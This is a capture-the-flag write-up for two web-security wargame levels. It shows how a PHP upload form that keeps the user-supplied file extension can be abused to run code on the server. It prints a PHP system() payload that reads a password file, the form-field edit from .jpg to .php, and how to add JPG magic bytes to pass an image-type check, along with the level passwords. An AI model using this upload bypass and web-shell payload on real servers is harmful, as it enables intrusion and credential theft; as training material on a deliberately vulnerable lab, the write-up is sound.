Natas 12

In this level you’re able to upload a JPG file with max size 1KB. Let’s check the sourcecode.

<?   
  
function genRandomString() {  
    $length = 10;  
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";  
    $string = "";      
  
    for ($p = 0; $p < $length; $p++) {  
        $string .= $characters[mt_rand(0, strlen($characters)-1)];  
    }  
  
    return $string;  
}  
  
function makeRandomPath($dir, $ext) {  
    do {  
    $path = $dir."/".genRandomString().".".$ext;  
    } while(file_exists($path));  
    return $path;  
}  
  
function makeRandomPathFromFilename($dir, $fn) {  
    $ext = pathinfo($fn, PATHINFO_EXTENSION);  
    return makeRandomPath($dir, $ext);  
}  
  
if(array_key_exists("filename", $_POST)) {  
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);  
  
  
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {  
        echo "File is too big";  
    } else {  
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {  
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";  
        } else{  
            echo "There was an error uploading the file, please try again!";  
        }  
    }  
} else {  
?>  
  
<form enctype="multipart/form-data" action="index.php" method="POST">  
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />  
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />  
Choose a JPEG to upload (max 1KB):<br/>  
<input name="uploadedfile" type="file" /><br />  
<input type="submit" value="Upload File" />  
</form>  
<? } ?>   

Following the logical code flow:

  • Line 43: An upload form is generated, it contains 4 input tags:
    1. MAX_FILE_SIZE: Kind of useless since it’s not really supported.
    2. filename: This an autogenerated 10-characters long string with _hardcoded _.jpg extension.
    3. uploadfile: The file you’ll be uploading
    4. Submit button.
  • Line 27 : If the POST request contains filename (submitted through the upload form), it generated a NEW random string to use as file name, yet the existing extension is kept. A couple of checks are done to verify it’s a valid JPG. First, it checks if the file size is less than 1KB. If it’s bigger than 1KB, an error message is displayed.
  • Otherwise, the file is uploaded and stored under upload directory with format randomstring.ext, where ext is the extension provided in input tag (filename)

If we change the extension of filename tag from JPG to PHP, we may be able to
execute code remotely.

1. Create a fake JPG containing php code

We’ll be using system() to read our password.

[email protected]: ~/Desktop# echo "<?php echo system(\"cat /etc/natas_webpass/natas13\"); ?>" > natas12.jpg  
[email protected]: ~/Desktop# cat natas12.jpg  
<?php echo system("cat /etc/natas_webpass/natas13"); ?>"  

2. Upload JPG and get password

<input name="filename" value="o0xn5q93si.jpg" type="hidden">  

is changed to

<input name="filename" value="o0xn5q93si.php" type="hidden">  

You don’t need to change the entire file name, since it won’t be used anyway, what matters is changing JPG to PHP, this way it will be reused in makeRandomPathFromFilename function.

10

The link generated does contain .php extension! Open it and you’ll find your password.

Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY


Natas 13

You’ll notice that this challenge is very similar to Natas 12, the only added verification is this condition:

<?php  
...  
  
else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {  
        echo "File is not an image";  
    }  
  
...  
  
?>  

This will make our fake JPG fail to be validated as valid. If you run file on it, it’s also not validated as JPEG!

[email protected]: ~/Desktop# file natas12.jpg  
natas12.jpp: PHP script, ASCII text  
[email protected]: ~/Desktop#   

In this case, we need to know how files’ types are recognized, after some research you’ll stumble upon something called file signatures/magicnumbers.. A JPG file contains the following HEX signature: FF D8 FF DB.


1. Generate a fake JPG with valid signature

Easiest approach is create a new file with jpg extension then use hexeditor to add the JPG signature.

[email protected]:~/Desktop# echo "<?php echo system("/etc/natas_webpass/natas14"); ?>" > file.jpg  
[email protected]:~/Desktop# hexeditor -b file.jpg  

Next, we start hexeditor in buffer mode to allow us to insert null bytes, we need 4 of these. CTRL+A will do.

11

12

13

Hit CTRL+X to save and exit


2. Upload JPG and get password

This is the same step as earlier.

Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1